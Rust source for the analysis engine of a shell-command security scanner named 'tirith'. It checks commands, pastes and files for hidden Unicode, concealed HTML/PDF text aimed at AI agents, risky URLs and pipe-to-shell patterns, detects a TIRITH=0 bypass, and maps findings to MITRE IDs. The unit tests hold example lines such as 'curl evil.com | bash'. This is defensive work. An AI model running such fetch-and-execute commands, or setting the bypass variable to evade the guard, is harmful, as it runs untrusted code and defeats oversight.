1use std::time::Instant;
2
3use crate::extract::{self, ScanContext};
4use crate::normalize;
5use crate::policy::Policy;
6use crate::tokenize::ShellType;
7use crate::verdict::{Finding, Timings, Verdict};
8
9fn extract_raw_path_from_url(raw: &str) -> Option<String> {
11 if let Some(idx) = raw.find("://") {
12 let after = &raw[idx + 3..];
13 if let Some(slash_idx) = after.find('/') {
14 let path_start = &after[slash_idx..];
16 let end = path_start.find(['?', '#']).unwrap_or(path_start.len());
17 return Some(path_start[..end].to_string());
18 }
19 }
20 None
21}
22
23pub struct AnalysisContext {
25 pub input: String,
26 pub shell: ShellType,
27 pub scan_context: ScanContext,
28 pub raw_bytes: Option<Vec<u8>>,
29 pub interactive: bool,
30 pub cwd: Option<String>,
31 pub file_path: Option<std::path::PathBuf>,
33 pub repo_root: Option<String>,
36 pub is_config_override: bool,
38 pub clipboard_html: Option<String>,
41}
42
43fn is_tirith_zero_assignment(word: &str) -> bool {
46 if let Some((name, raw_val)) = word.split_once('=') {
47 let val = raw_val.trim_matches(|c: char| c == '\'' || c == '"');
48 if name == "TIRITH" && val == "0" {
49 return true;
50 }
51 }
52 false
53}
54
55fn find_inline_bypass(input: &str, shell: ShellType) -> bool {
59 use crate::tokenize;
60
61 let words = split_raw_words(input, shell);
62 if words.is_empty() {
63 return false;
64 }
65
66 let mut idx = 0;
71 while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
72 if is_tirith_zero_assignment(&words[idx]) {
73 return true;
74 }
75 idx += 1;
76 }
77
78 if idx < words.len() {
80 let cmd = words[idx].rsplit('/').next().unwrap_or(&words[idx]);
81 let cmd = cmd.trim_matches(|c: char| c == '\'' || c == '"');
82 if cmd == "env" {
83 idx += 1;
84 while idx < words.len() {
85 let w = &words[idx];
86 if w == "--" {
87 idx += 1;
88 break;
90 }
91 if tokenize::is_env_assignment(w) {
92 if is_tirith_zero_assignment(w) {
93 return true;
94 }
95 idx += 1;
96 continue;
97 }
98 if w.starts_with('-') {
99 if w.starts_with("--") {
100 if !w.contains('=') {
102 idx += 2;
103 } else {
104 idx += 1;
105 }
106 continue;
107 }
108 if w == "-u" || w == "-C" || w == "-S" {
110 idx += 2;
111 continue;
112 }
113 idx += 1;
114 continue;
115 }
116 break;
118 }
119 while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
121 if is_tirith_zero_assignment(&words[idx]) {
122 return true;
123 }
124 idx += 1;
125 }
126 }
127 }
128
129 if shell == ShellType::PowerShell {
131 for word in &words {
132 if is_powershell_tirith_bypass(word) {
133 return true;
134 }
135 }
136 if words.len() >= 3 {
138 for window in words.windows(3) {
139 if is_powershell_env_ref(&window[0], "TIRITH")
140 && window[1] == "="
141 && strip_surrounding_quotes(&window[2]) == "0"
142 {
143 return true;
144 }
145 }
146 }
147 }
148
149 if shell == ShellType::Cmd && words.len() >= 2 {
154 let first = words[0].to_lowercase();
155 if first == "set" {
156 let second = strip_double_quotes_only(&words[1]);
157 if let Some((name, val)) = second.split_once('=') {
158 if name == "TIRITH" && val == "0" {
159 return true;
160 }
161 }
162 }
163 }
164
165 false
166}
167
168fn is_powershell_tirith_bypass(word: &str) -> bool {
171 if !word.starts_with('$') || word.len() < "$env:TIRITH=0".len() {
172 return false;
173 }
174 let after_dollar = &word[1..];
175 if !after_dollar
176 .get(..4)
177 .is_some_and(|s| s.eq_ignore_ascii_case("env:"))
178 {
179 return false;
180 }
181 let after_env = &after_dollar[4..];
182 if !after_env
183 .get(..7)
184 .is_some_and(|s| s.eq_ignore_ascii_case("TIRITH="))
185 {
186 return false;
187 }
188 let value = &after_env[7..];
189 strip_surrounding_quotes(value) == "0"
190}
191
192fn is_powershell_env_ref(word: &str, var_name: &str) -> bool {
194 if !word.starts_with('$') {
195 return false;
196 }
197 let after_dollar = &word[1..];
198 if !after_dollar
199 .get(..4)
200 .is_some_and(|s| s.eq_ignore_ascii_case("env:"))
201 {
202 return false;
203 }
204 after_dollar[4..].eq_ignore_ascii_case(var_name)
205}
206
207fn strip_surrounding_quotes(s: &str) -> &str {
209 if s.len() >= 2
210 && ((s.starts_with('"') && s.ends_with('"')) || (s.starts_with('\'') && s.ends_with('\'')))
211 {
212 &s[1..s.len() - 1]
213 } else {
214 s
215 }
216}
217
218fn strip_double_quotes_only(s: &str) -> &str {
220 if s.len() >= 2 && s.starts_with('"') && s.ends_with('"') {
221 &s[1..s.len() - 1]
222 } else {
223 s
224 }
225}
226
227fn split_raw_words(input: &str, shell: ShellType) -> Vec<String> {
234 let escape_char = match shell {
235 ShellType::PowerShell => '`',
236 ShellType::Cmd => '^',
237 _ => '\\',
238 };
239
240 let mut words = Vec::new();
242 let mut current = String::new();
243 let chars: Vec<char> = input.chars().collect();
244 let len = chars.len();
245 let mut i = 0;
246
247 while i < len {
248 let ch = chars[i];
249 match ch {
250 ' ' | '\t' if !current.is_empty() => {
251 words.push(current.clone());
252 current.clear();
253 i += 1;
254 while i < len && (chars[i] == ' ' || chars[i] == '\t') {
255 i += 1;
256 }
257 }
258 ' ' | '\t' => {
259 i += 1;
260 }
261 '|' | '\n' | '&' => break, ';' if shell != ShellType::Cmd => break,
263 '\'' if shell != ShellType::Cmd => {
264 current.push(ch);
265 i += 1;
266 while i < len && chars[i] != '\'' {
267 current.push(chars[i]);
268 i += 1;
269 }
270 if i < len {
271 current.push(chars[i]);
272 i += 1;
273 }
274 }
275 '"' => {
276 current.push(ch);
277 i += 1;
278 while i < len && chars[i] != '"' {
279 if chars[i] == escape_char && i + 1 < len {
280 current.push(chars[i]);
281 current.push(chars[i + 1]);
282 i += 2;
283 } else {
284 current.push(chars[i]);
285 i += 1;
286 }
287 }
288 if i < len {
289 current.push(chars[i]);
290 i += 1;
291 }
292 }
293 c if c == escape_char && i + 1 < len => {
294 current.push(chars[i]);
295 current.push(chars[i + 1]);
296 i += 2;
297 }
298 _ => {
299 current.push(ch);
300 i += 1;
301 }
302 }
303 }
304 if !current.is_empty() {
305 words.push(current);
306 }
307 words
308}
309
310fn has_unquoted_ampersand(input: &str, shell: ShellType) -> bool {
312 let escape_char = match shell {
313 ShellType::PowerShell => '`',
314 ShellType::Cmd => '^',
315 _ => '\\',
316 };
317 let chars: Vec<char> = input.chars().collect();
318 let len = chars.len();
319 let mut i = 0;
320 while i < len {
321 match chars[i] {
322 '\'' if shell != ShellType::Cmd => {
323 i += 1;
324 while i < len && chars[i] != '\'' {
325 i += 1;
326 }
327 if i < len {
328 i += 1;
329 }
330 }
331 '"' => {
332 i += 1;
333 while i < len && chars[i] != '"' {
334 if chars[i] == escape_char && i + 1 < len {
335 i += 2;
336 } else {
337 i += 1;
338 }
339 }
340 if i < len {
341 i += 1;
342 }
343 }
344 c if c == escape_char && i + 1 < len => {
345 i += 2; }
347 '&' => return true,
348 _ => i += 1,
349 }
350 }
351 false
352}
353
354fn is_self_invocation(input: &str, shell: ShellType) -> bool {
357 use crate::tokenize;
358
359 let segments = tokenize::tokenize(input, shell);
361 if segments.len() != 1 {
362 return false;
363 }
364
365 if has_unquoted_ampersand(input, shell) {
369 return false;
370 }
371
372 let words = split_raw_words(input, shell);
373 if words.is_empty() {
374 return false;
375 }
376
377 let mut idx = 0;
379 while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
380 idx += 1;
381 }
382 if idx >= words.len() {
383 return false;
384 }
385
386 let cmd = &words[idx];
387 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd);
388 let cmd_base = cmd_base.trim_matches(|c: char| c == '\'' || c == '"');
389
390 let resolved = match cmd_base {
392 "env" => resolve_env_wrapper(&words[idx + 1..]),
393 "command" => resolve_command_wrapper(&words[idx + 1..]),
394 "time" => resolve_time_wrapper(&words[idx + 1..]),
395 other => Some(other.to_string()),
396 };
397
398 match resolved {
399 Some(ref cmd_name) => is_tirith_command(cmd_name),
400 None => false,
401 }
402}
403
404fn resolve_env_wrapper(args: &[String]) -> Option<String> {
406 use crate::tokenize;
407 let mut i = 0;
408 while i < args.len() {
409 let w = &args[i];
410 if w == "--" {
411 i += 1;
412 break;
413 }
414 if tokenize::is_env_assignment(w) {
415 i += 1;
416 continue;
417 }
418 if w.starts_with('-') {
419 if w.starts_with("--") {
420 if !w.contains('=') {
422 i += 2;
423 } else {
424 i += 1;
425 }
426 continue;
427 }
428 if w == "-u" || w == "-C" || w == "-S" {
430 i += 2;
431 continue;
432 }
433 i += 1;
434 continue;
435 }
436 return Some(w.rsplit('/').next().unwrap_or(w).to_string());
438 }
439 while i < args.len() {
441 let w = &args[i];
442 if tokenize::is_env_assignment(w) {
443 i += 1;
444 continue;
445 }
446 return Some(w.rsplit('/').next().unwrap_or(w).to_string());
447 }
448 None
449}
450
451fn resolve_command_wrapper(args: &[String]) -> Option<String> {
453 let mut i = 0;
454 while i < args.len() && args[i].starts_with('-') && args[i] != "--" {
456 i += 1;
457 }
458 if i < args.len() && args[i] == "--" {
460 i += 1;
461 }
462 if i < args.len() {
463 let w = &args[i];
464 Some(w.rsplit('/').next().unwrap_or(w).to_string())
465 } else {
466 None
467 }
468}
469
470fn resolve_time_wrapper(args: &[String]) -> Option<String> {
472 let mut i = 0;
473 while i < args.len() {
474 let w = &args[i];
475 if w == "--" {
476 i += 1;
477 break;
478 }
479 if w.starts_with('-') {
480 if w == "-f" || w == "--format" || w == "-o" || w == "--output" {
482 i += 2;
483 } else if w.starts_with("--") && w.contains('=') {
484 i += 1; } else {
486 i += 1;
487 }
488 continue;
489 }
490 return Some(w.rsplit('/').next().unwrap_or(w).to_string());
491 }
492 if i < args.len() {
494 let w = &args[i];
495 return Some(w.rsplit('/').next().unwrap_or(w).to_string());
496 }
497 None
498}
499
500fn is_tirith_command(cmd: &str) -> bool {
503 cmd == "tirith"
504}
505
506pub fn analyze(ctx: &AnalysisContext) -> Verdict {
508 let start = Instant::now();
509
510 let tier0_start = Instant::now();
512 let bypass_env = std::env::var("TIRITH").ok().as_deref() == Some("0");
513 let bypass_inline = find_inline_bypass(&ctx.input, ctx.shell);
514 let bypass_requested = bypass_env || bypass_inline;
515 let tier0_ms = tier0_start.elapsed().as_secs_f64() * 1000.0;
516
517 let tier1_start = Instant::now();
519
520 let byte_scan_triggered = if ctx.scan_context == ScanContext::Paste {
522 if let Some(ref bytes) = ctx.raw_bytes {
523 let scan = extract::scan_bytes(bytes);
524 scan.has_ansi_escapes
525 || scan.has_control_chars
526 || scan.has_bidi_controls
527 || scan.has_zero_width
528 || scan.has_invalid_utf8
529 || scan.has_unicode_tags
530 || scan.has_variation_selectors
531 || scan.has_invisible_math_operators
532 || scan.has_invisible_whitespace
533 } else {
534 false
535 }
536 } else {
537 false
538 };
539
540 let regex_triggered = extract::tier1_scan(&ctx.input, ctx.scan_context);
542
543 let exec_bidi_triggered = if ctx.scan_context == ScanContext::Exec {
545 let scan = extract::scan_bytes(ctx.input.as_bytes());
546 scan.has_bidi_controls
547 || scan.has_zero_width
548 || scan.has_unicode_tags
549 || scan.has_variation_selectors
550 || scan.has_invisible_math_operators
551 || scan.has_invisible_whitespace
552 } else {
553 false
554 };
555
556 let tier1_ms = tier1_start.elapsed().as_secs_f64() * 1000.0;
557
558 if !byte_scan_triggered && !regex_triggered && !exec_bidi_triggered {
560 let total_ms = start.elapsed().as_secs_f64() * 1000.0;
561 return Verdict::allow_fast(
562 1,
563 Timings {
564 tier0_ms,
565 tier1_ms,
566 tier2_ms: None,
567 tier3_ms: None,
568 total_ms,
569 },
570 );
571 }
572
573 if ctx.scan_context == ScanContext::Exec && is_self_invocation(&ctx.input, ctx.shell) {
575 let total_ms = start.elapsed().as_secs_f64() * 1000.0;
576 return Verdict::allow_fast(
577 1,
578 Timings {
579 tier0_ms,
580 tier1_ms,
581 tier2_ms: None,
582 tier3_ms: None,
583 total_ms,
584 },
585 );
586 }
587
588 let tier2_start = Instant::now();
590
591 if bypass_requested {
592 let policy = Policy::discover_partial(ctx.cwd.as_deref());
594 let allow_bypass = if ctx.interactive {
595 policy.allow_bypass_env
596 } else {
597 policy.allow_bypass_env_noninteractive
598 };
599
600 if allow_bypass {
601 let tier2_ms = tier2_start.elapsed().as_secs_f64() * 1000.0;
602 let total_ms = start.elapsed().as_secs_f64() * 1000.0;
603 let mut verdict = Verdict::allow_fast(
604 2,
605 Timings {
606 tier0_ms,
607 tier1_ms,
608 tier2_ms: Some(tier2_ms),
609 tier3_ms: None,
610 total_ms,
611 },
612 );
613 verdict.bypass_requested = true;
614 verdict.bypass_honored = true;
615 verdict.interactive_detected = ctx.interactive;
616 verdict.policy_path_used = policy.path.clone();
617 crate::audit::log_verdict(
619 &verdict,
620 &ctx.input,
621 None,
622 None,
623 &policy.dlp_custom_patterns,
624 );
625 return verdict;
626 }
627 }
628
629 let mut policy = Policy::discover(ctx.cwd.as_deref());
630 policy.load_user_lists();
631 policy.load_org_lists(ctx.cwd.as_deref());
632 let tier2_ms = tier2_start.elapsed().as_secs_f64() * 1000.0;
633
634 let tier3_start = Instant::now();
636 let mut findings = Vec::new();
637
638 let mut extracted = Vec::new();
640
641 if ctx.scan_context == ScanContext::FileScan {
642 let byte_input = if let Some(ref bytes) = ctx.raw_bytes {
645 bytes.as_slice()
646 } else {
647 ctx.input.as_bytes()
648 };
649 let byte_findings = crate::rules::terminal::check_bytes(byte_input);
650 findings.extend(byte_findings);
651
652 findings.extend(crate::rules::configfile::check(
654 &ctx.input,
655 ctx.file_path.as_deref(),
656 ctx.repo_root.as_deref().map(std::path::Path::new),
657 ctx.is_config_override,
658 ));
659
660 if crate::rules::rendered::is_renderable_file(ctx.file_path.as_deref()) {
662 let is_pdf = ctx
664 .file_path
665 .as_deref()
666 .and_then(|p| p.extension())
667 .and_then(|e| e.to_str())
668 .map(|e| e.eq_ignore_ascii_case("pdf"))
669 .unwrap_or(false);
670
671 if is_pdf {
672 let pdf_bytes = ctx.raw_bytes.as_deref().unwrap_or(ctx.input.as_bytes());
673 findings.extend(crate::rules::rendered::check_pdf(pdf_bytes));
674 } else {
675 findings.extend(crate::rules::rendered::check(
676 &ctx.input,
677 ctx.file_path.as_deref(),
678 ));
679 }
680 }
681 } else {
682 if ctx.scan_context == ScanContext::Paste {
686 if let Some(ref bytes) = ctx.raw_bytes {
687 let byte_findings = crate::rules::terminal::check_bytes(bytes);
688 findings.extend(byte_findings);
689 }
690 let multiline_findings = crate::rules::terminal::check_hidden_multiline(&ctx.input);
692 findings.extend(multiline_findings);
693
694 if let Some(ref html) = ctx.clipboard_html {
696 let clipboard_findings =
697 crate::rules::terminal::check_clipboard_html(html, &ctx.input);
698 findings.extend(clipboard_findings);
699 }
700 }
701
702 if ctx.scan_context == ScanContext::Exec {
704 let byte_input = ctx.input.as_bytes();
705 let scan = extract::scan_bytes(byte_input);
706 if scan.has_bidi_controls
707 || scan.has_zero_width
708 || scan.has_unicode_tags
709 || scan.has_variation_selectors
710 || scan.has_invisible_math_operators
711 || scan.has_invisible_whitespace
712 {
713 let byte_findings = crate::rules::terminal::check_bytes(byte_input);
714 findings.extend(byte_findings.into_iter().filter(|f| {
716 matches!(
717 f.rule_id,
718 crate::verdict::RuleId::BidiControls
719 | crate::verdict::RuleId::ZeroWidthChars
720 | crate::verdict::RuleId::UnicodeTags
721 | crate::verdict::RuleId::InvisibleMathOperator
722 | crate::verdict::RuleId::VariationSelector
723 | crate::verdict::RuleId::InvisibleWhitespace
724 )
725 }));
726 }
727 }
728
729 extracted = extract::extract_urls(&ctx.input, ctx.shell);
731
732 for url_info in &extracted {
733 let raw_path = extract_raw_path_from_url(&url_info.raw);
736 let normalized_path = url_info.parsed.path().map(normalize::normalize_path);
737
738 let hostname_findings = crate::rules::hostname::check(&url_info.parsed, &policy);
740 findings.extend(hostname_findings);
741
742 let path_findings = crate::rules::path::check(
743 &url_info.parsed,
744 normalized_path.as_ref(),
745 raw_path.as_deref(),
746 );
747 findings.extend(path_findings);
748
749 let transport_findings =
750 crate::rules::transport::check(&url_info.parsed, url_info.in_sink_context);
751 findings.extend(transport_findings);
752
753 let ecosystem_findings = crate::rules::ecosystem::check(&url_info.parsed);
754 findings.extend(ecosystem_findings);
755 }
756
757 let command_findings = crate::rules::command::check(
759 &ctx.input,
760 ctx.shell,
761 ctx.cwd.as_deref(),
762 ctx.scan_context,
763 );
764 findings.extend(command_findings);
765
766 let env_findings = crate::rules::environment::check(&crate::rules::environment::RealEnv);
768 findings.extend(env_findings);
769
770 if crate::license::current_tier() >= crate::license::Tier::Team
772 && !policy.network_deny.is_empty()
773 {
774 let net_findings = crate::rules::command::check_network_policy(
775 &ctx.input,
776 ctx.shell,
777 &policy.network_deny,
778 &policy.network_allow,
779 );
780 findings.extend(net_findings);
781 }
782 }
783
784 if crate::license::current_tier() >= crate::license::Tier::Team
786 && !policy.custom_rules.is_empty()
787 {
788 let compiled = crate::rules::custom::compile_rules(&policy.custom_rules);
789 let custom_findings = crate::rules::custom::check(&ctx.input, ctx.scan_context, &compiled);
790 findings.extend(custom_findings);
791 }
792
793 for finding in &mut findings {
795 if let Some(override_sev) = policy.severity_override(&finding.rule_id) {
796 finding.severity = override_sev;
797 }
798 }
799
800 for url_info in &extracted {
803 if policy.is_blocklisted(&url_info.raw) {
804 findings.push(Finding {
805 rule_id: crate::verdict::RuleId::PolicyBlocklisted,
806 severity: crate::verdict::Severity::Critical,
807 title: "URL matches blocklist".to_string(),
808 description: format!("URL '{}' matches a blocklist pattern", url_info.raw),
809 evidence: vec![crate::verdict::Evidence::Url {
810 raw: url_info.raw.clone(),
811 }],
812 human_view: None,
813 agent_view: None,
814 mitre_id: None,
815 custom_rule_id: None,
816 });
817 }
818 }
819
820 if !policy.allowlist.is_empty() {
823 let blocklisted_urls: Vec<String> = extracted
824 .iter()
825 .filter(|u| policy.is_blocklisted(&u.raw))
826 .map(|u| u.raw.clone())
827 .collect();
828
829 findings.retain(|f| {
830 let url_in_evidence = f.evidence.iter().find_map(|e| {
832 if let crate::verdict::Evidence::Url { raw } = e {
833 Some(raw.clone())
834 } else {
835 None
836 }
837 });
838 match url_in_evidence {
839 Some(ref url) => {
840 blocklisted_urls.contains(url) || !policy.is_allowlisted(url)
842 }
843 None => true, }
845 });
846 }
847
848 let tier = crate::license::current_tier();
851 if tier >= crate::license::Tier::Pro {
852 enrich_pro(&mut findings);
853 }
854 if tier >= crate::license::Tier::Team {
855 enrich_team(&mut findings);
856 }
857
858 crate::rule_metadata::filter_early_access(&mut findings, tier);
861
862 let tier3_ms = tier3_start.elapsed().as_secs_f64() * 1000.0;
863 let total_ms = start.elapsed().as_secs_f64() * 1000.0;
864
865 let mut verdict = Verdict::from_findings(
866 findings,
867 3,
868 Timings {
869 tier0_ms,
870 tier1_ms,
871 tier2_ms: Some(tier2_ms),
872 tier3_ms: Some(tier3_ms),
873 total_ms,
874 },
875 );
876 verdict.bypass_requested = bypass_requested;
877 verdict.interactive_detected = ctx.interactive;
878 verdict.policy_path_used = policy.path.clone();
879 verdict.urls_extracted_count = Some(extracted.len());
880
881 verdict
882}
883
884pub fn filter_findings_by_paranoia(verdict: &mut Verdict, paranoia: u8) {
899 retain_by_paranoia(&mut verdict.findings, paranoia);
900 verdict.action = recalculate_action(&verdict.findings);
901}
902
903pub fn filter_findings_by_paranoia_vec(findings: &mut Vec<Finding>, paranoia: u8) {
907 retain_by_paranoia(findings, paranoia);
908}
909
910fn recalculate_action(findings: &[Finding]) -> crate::verdict::Action {
912 use crate::verdict::{Action, Severity};
913 if findings.is_empty() {
914 return Action::Allow;
915 }
916 let max_severity = findings
917 .iter()
918 .map(|f| f.severity)
919 .max()
920 .unwrap_or(Severity::Low);
921 match max_severity {
922 Severity::Critical | Severity::High => Action::Block,
923 Severity::Medium | Severity::Low => Action::Warn,
924 Severity::Info => Action::Allow,
925 }
926}
927
928fn retain_by_paranoia(findings: &mut Vec<Finding>, paranoia: u8) {
930 let tier = crate::license::current_tier();
931 let effective = if tier >= crate::license::Tier::Pro {
932 paranoia.min(4)
933 } else {
934 paranoia.min(2) };
936
937 findings.retain(|f| match f.severity {
938 crate::verdict::Severity::Info => effective >= 4,
939 crate::verdict::Severity::Low => effective >= 3,
940 _ => true, });
942}
943
944fn enrich_pro(findings: &mut [Finding]) {
950 for finding in findings.iter_mut() {
951 match finding.rule_id {
952 crate::verdict::RuleId::HiddenCssContent => {
954 finding.human_view =
955 Some("Content hidden via CSS — invisible in rendered view".into());
956 finding.agent_view = Some(format!(
957 "AI agent sees full text including CSS-hidden content. {}",
958 evidence_summary(&finding.evidence)
959 ));
960 }
961 crate::verdict::RuleId::HiddenColorContent => {
962 finding.human_view =
963 Some("Text blends with background — invisible to human eye".into());
964 finding.agent_view = Some(format!(
965 "AI agent reads text regardless of color contrast. {}",
966 evidence_summary(&finding.evidence)
967 ));
968 }
969 crate::verdict::RuleId::HiddenHtmlAttribute => {
970 finding.human_view =
971 Some("Elements marked hidden/aria-hidden — not displayed".into());
972 finding.agent_view = Some(format!(
973 "AI agent processes hidden element content. {}",
974 evidence_summary(&finding.evidence)
975 ));
976 }
977 crate::verdict::RuleId::HtmlComment => {
978 finding.human_view = Some("HTML comments not rendered in browser".into());
979 finding.agent_view = Some(format!(
980 "AI agent reads comment content as context. {}",
981 evidence_summary(&finding.evidence)
982 ));
983 }
984 crate::verdict::RuleId::MarkdownComment => {
985 finding.human_view = Some("Markdown comments not rendered in preview".into());
986 finding.agent_view = Some(format!(
987 "AI agent processes markdown comment content. {}",
988 evidence_summary(&finding.evidence)
989 ));
990 }
991 crate::verdict::RuleId::PdfHiddenText => {
992 finding.human_view = Some("Sub-pixel text invisible in PDF viewer".into());
993 finding.agent_view = Some(format!(
994 "AI agent extracts all text including sub-pixel content. {}",
995 evidence_summary(&finding.evidence)
996 ));
997 }
998 crate::verdict::RuleId::ClipboardHidden => {
999 finding.human_view =
1000 Some("Hidden content in clipboard HTML not visible in paste preview".into());
1001 finding.agent_view = Some(format!(
1002 "AI agent processes full clipboard including hidden HTML. {}",
1003 evidence_summary(&finding.evidence)
1004 ));
1005 }
1006 _ => {}
1007 }
1008 }
1009}
1010
1011fn evidence_summary(evidence: &[crate::verdict::Evidence]) -> String {
1013 let details: Vec<&str> = evidence
1014 .iter()
1015 .filter_map(|e| {
1016 if let crate::verdict::Evidence::Text { detail } = e {
1017 Some(detail.as_str())
1018 } else {
1019 None
1020 }
1021 })
1022 .take(3)
1023 .collect();
1024 if details.is_empty() {
1025 String::new()
1026 } else {
1027 format!("Details: {}", details.join("; "))
1028 }
1029}
1030
1031fn mitre_id_for_rule(rule_id: crate::verdict::RuleId) -> Option<&'static str> {
1033 use crate::verdict::RuleId;
1034 match rule_id {
1035 RuleId::PipeToInterpreter
1037 | RuleId::CurlPipeShell
1038 | RuleId::WgetPipeShell
1039 | RuleId::HttpiePipeShell
1040 | RuleId::XhPipeShell => Some("T1059.004"), RuleId::DotfileOverwrite => Some("T1546.004"), RuleId::BidiControls
1047 | RuleId::UnicodeTags
1048 | RuleId::ZeroWidthChars
1049 | RuleId::InvisibleMathOperator
1050 | RuleId::VariationSelector
1051 | RuleId::InvisibleWhitespace => {
1052 Some("T1036.005") }
1054 RuleId::HiddenMultiline | RuleId::AnsiEscapes | RuleId::ControlChars => Some("T1036.005"),
1055
1056 RuleId::CodeInjectionEnv => Some("T1574.006"), RuleId::InterpreterHijackEnv => Some("T1574.007"), RuleId::ShellInjectionEnv => Some("T1546.004"), RuleId::MetadataEndpoint => Some("T1552.005"), RuleId::SensitiveEnvExport => Some("T1552.001"), RuleId::ConfigInjection => Some("T1195.001"), RuleId::McpInsecureServer | RuleId::McpSuspiciousArgs => Some("T1195.002"), RuleId::GitTyposquat => Some("T1195.001"),
1069 RuleId::DockerUntrustedRegistry => Some("T1195.002"),
1070
1071 RuleId::PrivateNetworkAccess => Some("T1046"), RuleId::ServerCloaking => Some("T1036"), RuleId::ArchiveExtract => Some("T1560.001"), RuleId::ProxyEnvSet => Some("T1090.001"), _ => None,
1082 }
1083}
1084
1085fn enrich_team(findings: &mut [Finding]) {
1087 for finding in findings.iter_mut() {
1088 if finding.mitre_id.is_none() {
1089 finding.mitre_id = mitre_id_for_rule(finding.rule_id).map(String::from);
1090 }
1091 }
1092}
1093
1094#[cfg(test)]
1095mod tests {
1096 use super::*;
1097 #[test]
1098 fn test_exec_bidi_without_url() {
1099 let input = format!("echo hello{}world", '\u{202E}');
1101 let ctx = AnalysisContext {
1102 input,
1103 shell: ShellType::Posix,
1104 scan_context: ScanContext::Exec,
1105 raw_bytes: None,
1106 interactive: true,
1107 cwd: None,
1108 file_path: None,
1109 repo_root: None,
1110 is_config_override: false,
1111 clipboard_html: None,
1112 };
1113 let verdict = analyze(&ctx);
1114 assert!(
1116 verdict.tier_reached >= 3,
1117 "bidi in exec should reach tier 3, got tier {}",
1118 verdict.tier_reached
1119 );
1120 assert!(
1122 verdict
1123 .findings
1124 .iter()
1125 .any(|f| matches!(f.rule_id, crate::verdict::RuleId::BidiControls)),
1126 "should detect bidi controls in exec context"
1127 );
1128 }
1129
1130 #[test]
1131 fn test_paranoia_filter_suppresses_info_low() {
1132 use crate::verdict::{Finding, RuleId, Severity, Timings, Verdict};
1133
1134 let findings = vec![
1135 Finding {
1136 rule_id: RuleId::VariationSelector,
1137 severity: Severity::Info,
1138 title: "info finding".into(),
1139 description: String::new(),
1140 evidence: vec![],
1141 human_view: None,
1142 agent_view: None,
1143 mitre_id: None,
1144 custom_rule_id: None,
1145 },
1146 Finding {
1147 rule_id: RuleId::InvisibleWhitespace,
1148 severity: Severity::Low,
1149 title: "low finding".into(),
1150 description: String::new(),
1151 evidence: vec![],
1152 human_view: None,
1153 agent_view: None,
1154 mitre_id: None,
1155 custom_rule_id: None,
1156 },
1157 Finding {
1158 rule_id: RuleId::HiddenCssContent,
1159 severity: Severity::High,
1160 title: "high finding".into(),
1161 description: String::new(),
1162 evidence: vec![],
1163 human_view: None,
1164 agent_view: None,
1165 mitre_id: None,
1166 custom_rule_id: None,
1167 },
1168 ];
1169
1170 let timings = Timings {
1171 tier0_ms: 0.0,
1172 tier1_ms: 0.0,
1173 tier2_ms: None,
1174 tier3_ms: None,
1175 total_ms: 0.0,
1176 };
1177
1178 let mut verdict = Verdict::from_findings(findings.clone(), 3, timings.clone());
1180 filter_findings_by_paranoia(&mut verdict, 1);
1181 assert_eq!(
1182 verdict.findings.len(),
1183 1,
1184 "paranoia 1 should keep only High+"
1185 );
1186 assert_eq!(verdict.findings[0].severity, Severity::High);
1187
1188 let mut verdict = Verdict::from_findings(findings.clone(), 3, timings.clone());
1190 filter_findings_by_paranoia(&mut verdict, 2);
1191 assert_eq!(
1192 verdict.findings.len(),
1193 1,
1194 "paranoia 2 should keep only Medium+"
1195 );
1196 }
1197
1198 #[test]
1199 fn test_inline_bypass_bare_prefix() {
1200 assert!(find_inline_bypass(
1201 "TIRITH=0 curl evil.com | bash",
1202 ShellType::Posix
1203 ));
1204 }
1205
1206 #[test]
1207 fn test_inline_bypass_env_wrapper() {
1208 assert!(find_inline_bypass(
1209 "env TIRITH=0 curl evil.com",
1210 ShellType::Posix
1211 ));
1212 }
1213
1214 #[test]
1215 fn test_inline_bypass_env_i() {
1216 assert!(find_inline_bypass(
1217 "env -i TIRITH=0 curl evil.com",
1218 ShellType::Posix
1219 ));
1220 }
1221
1222 #[test]
1223 fn test_inline_bypass_env_u_skip() {
1224 assert!(find_inline_bypass(
1225 "env -u TIRITH TIRITH=0 curl evil.com",
1226 ShellType::Posix
1227 ));
1228 }
1229
1230 #[test]
1231 fn test_inline_bypass_usr_bin_env() {
1232 assert!(find_inline_bypass(
1233 "/usr/bin/env TIRITH=0 curl evil.com",
1234 ShellType::Posix
1235 ));
1236 }
1237
1238 #[test]
1239 fn test_inline_bypass_env_dashdash() {
1240 assert!(find_inline_bypass(
1241 "env -- TIRITH=0 curl evil.com",
1242 ShellType::Posix
1243 ));
1244 }
1245
1246 #[test]
1247 fn test_no_inline_bypass() {
1248 assert!(!find_inline_bypass(
1249 "curl evil.com | bash",
1250 ShellType::Posix
1251 ));
1252 }
1253
1254 #[test]
1255 fn test_inline_bypass_powershell_env() {
1256 assert!(find_inline_bypass(
1257 "$env:TIRITH=\"0\"; curl evil.com",
1258 ShellType::PowerShell
1259 ));
1260 }
1261
1262 #[test]
1263 fn test_inline_bypass_powershell_env_no_quotes() {
1264 assert!(find_inline_bypass(
1265 "$env:TIRITH=0; curl evil.com",
1266 ShellType::PowerShell
1267 ));
1268 }
1269
1270 #[test]
1271 fn test_inline_bypass_powershell_env_single_quotes() {
1272 assert!(find_inline_bypass(
1273 "$env:TIRITH='0'; curl evil.com",
1274 ShellType::PowerShell
1275 ));
1276 }
1277
1278 #[test]
1279 fn test_inline_bypass_powershell_env_spaced() {
1280 assert!(find_inline_bypass(
1281 "$env:TIRITH = \"0\"; curl evil.com",
1282 ShellType::PowerShell
1283 ));
1284 }
1285
1286 #[test]
1287 fn test_inline_bypass_powershell_mixed_case_env() {
1288 assert!(find_inline_bypass(
1289 "$Env:TIRITH=\"0\"; curl evil.com",
1290 ShellType::PowerShell
1291 ));
1292 }
1293
1294 #[test]
1295 fn test_no_inline_bypass_powershell_wrong_value() {
1296 assert!(!find_inline_bypass(
1297 "$env:TIRITH=\"1\"; curl evil.com",
1298 ShellType::PowerShell
1299 ));
1300 }
1301
1302 #[test]
1303 fn test_no_inline_bypass_powershell_other_var() {
1304 assert!(!find_inline_bypass(
1305 "$env:FOO=\"0\"; curl evil.com",
1306 ShellType::PowerShell
1307 ));
1308 }
1309
1310 #[test]
1311 fn test_no_inline_bypass_powershell_in_posix_mode() {
1312 assert!(!find_inline_bypass(
1314 "$env:TIRITH=\"0\"; curl evil.com",
1315 ShellType::Posix
1316 ));
1317 }
1318
1319 #[test]
